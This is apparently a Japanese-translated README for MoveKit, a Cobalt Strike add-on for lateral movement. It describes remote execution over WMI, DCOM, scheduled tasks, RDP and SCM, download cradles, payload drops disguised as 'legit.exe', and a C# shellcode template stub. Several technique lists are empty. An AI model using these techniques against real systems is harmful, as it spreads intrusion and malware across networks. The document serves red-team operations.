
Cobalt Strike ラテラルムーブメント用キット
MoveKit は、execute_assembly 関数と SharpMove および SharpRDP .NET アセンブリを活用して、Cobalt Strike に組み込まれた横展開機能を拡張するものです。アグレッサスクリプトは、特定の実行タイプのテンプレートファイルを読み取ることでペイロードを作成します。
重要: スクリプトを使用するには、MoveKit.cna アグレッサスクリプトをロードするだけで、他の必要なスクリプトも一緒にロードされます。さらに、実行するアクションに応じて、SharpMove および SharpRDP アセンブリをコンパイルし、Assemblies ディレクトリに配置する必要があります。最後に、一部のファイル移動には動的コンパイルが必要であり、Mono が必要です。
アグレッサスクリプトをロードすると、メニューバーに Move というセレクターが表示されます。ユーザーは複数の選択肢から選択できます。まず、WMI、DCOM、タスクスケジューラ、RDP、または SCM を介してリモートシステムでコマンドを実行できます。次に、Command 実行メカニズムは、ダウンロードクレードルを使用してファイルを取得および実行します。3 番目に、File メソッドはシステムにファイルをドロップして実行します。実行を行わず、データのみを移動する Write File Only もあります。最後に、GUI の使用を高速化し、ビーコンコマンドで使用するための Default 設定があります。デフォルト設定は、デフォルトを受け入れることができるすべてのものに使用されます。
ビーコンコマンドを使用するには、デフォルト設定を読み取り、いくつかのコマンドライン引数を使用します。ビーコンコマンドの例:
<exec-type> <target> <listener> <filename>
move-msbuild 192.168.1.1 http move.csproj
さらに、カスタムの事前構築済みビーコンコマンドは少し異なります。コマンドの例:
move-pre-custom-file <target> <local-file> <remote-filename>
move-pre-custom-file computer001.local /root/payload.exe legit.exe
ロケーションフィールドは、このプロジェクトで最もトリッキーな部分です。WMI ファイル移動を選択した場合、location が使用されます。SMB が選択された場合は使用されません(空のままにできます)。Location は 3 つの異なる値を取ります。第一に、location が URL の場合、ペイロードが作成されると Cobalt Strike の Web サーバーによってホストされます。アセンブリが実行されるビーコンホストは、その URL に Web リクエストを行いファイルを取得し、ターゲットホスト上のイベントサブでファイルを書き込むために使用されます。第二に、location が Windows ディレクトリの場合、作成されたファイルをビーコンホストにアップロードし、アセンブリがファイルシステムからファイルを読み取り、リモートホストに書き込むためのイベントサブに保存します。最後に、location フィールドが Linux パスまたは local という単語の場合、ペイロードを実行中のアセンブリに動的にコンパイルします。ただし、ファイルサイズが 1MB を超える場合はエラーが表示されます。
すべてのファイルメソッドにおいて、ペイロードはアグレッサスクリプトを介して作成されます。ただし、ペイロードが既に作成されている場合、ユーザーは Custom (Prebuilt) オプションを選択して移動および実行できます。
このキットには、異なるファイル移動テクニック、実行トリガー、およびペイロードタイプが含まれています。
ファイル移動は、リモートホストにファイルを取得するために使用される方法と考えられます。 ファイル移動タイプ:
コマンドトリガーは、リモートホストで特定のコマンドを実行するために使用される方法と考えられます。 コマンドトリガータイプ:
シェルコードのみの実行:
ハイジャック:
テンプレートを置き換えるには、2 つの要件を満たす必要があります。第一に、テンプレートはテクニック名(例: msbuild.csproj)で命名する必要があります。第二に、ソースコードには、Base64 エンコードされたシェルコードが挿入される文字列 $$PAYLOAD$$ と、Base64 文字列をバイト配列に変換できる機能が含まれている必要があります。C# の例:
string strSC = "$$PAYLOAD$$";
byte[] sc = Convert.FromBase64String(strSC);
デフォルトの 'Find and Replace string' とシェルコード形式を 'Update Defaults dialog' で更新できるようにする変更が追加されました。デフォルトでは、これらは $$PAYLOAD$$ と base64 です。
execute-assembly 関数を使用するため、他のポストエクスプロイトジョブと同様に、犠牲プロセスに注入されます。File または Command メソッドを使用する場合、ファイルがディスクにドロップされます。コード、テンプレート、またはアイデアの一部は、他の人やプロジェクトから来ています。
たぶんどこかにバグがあります。時々発生するものです。報告していただければ修正します。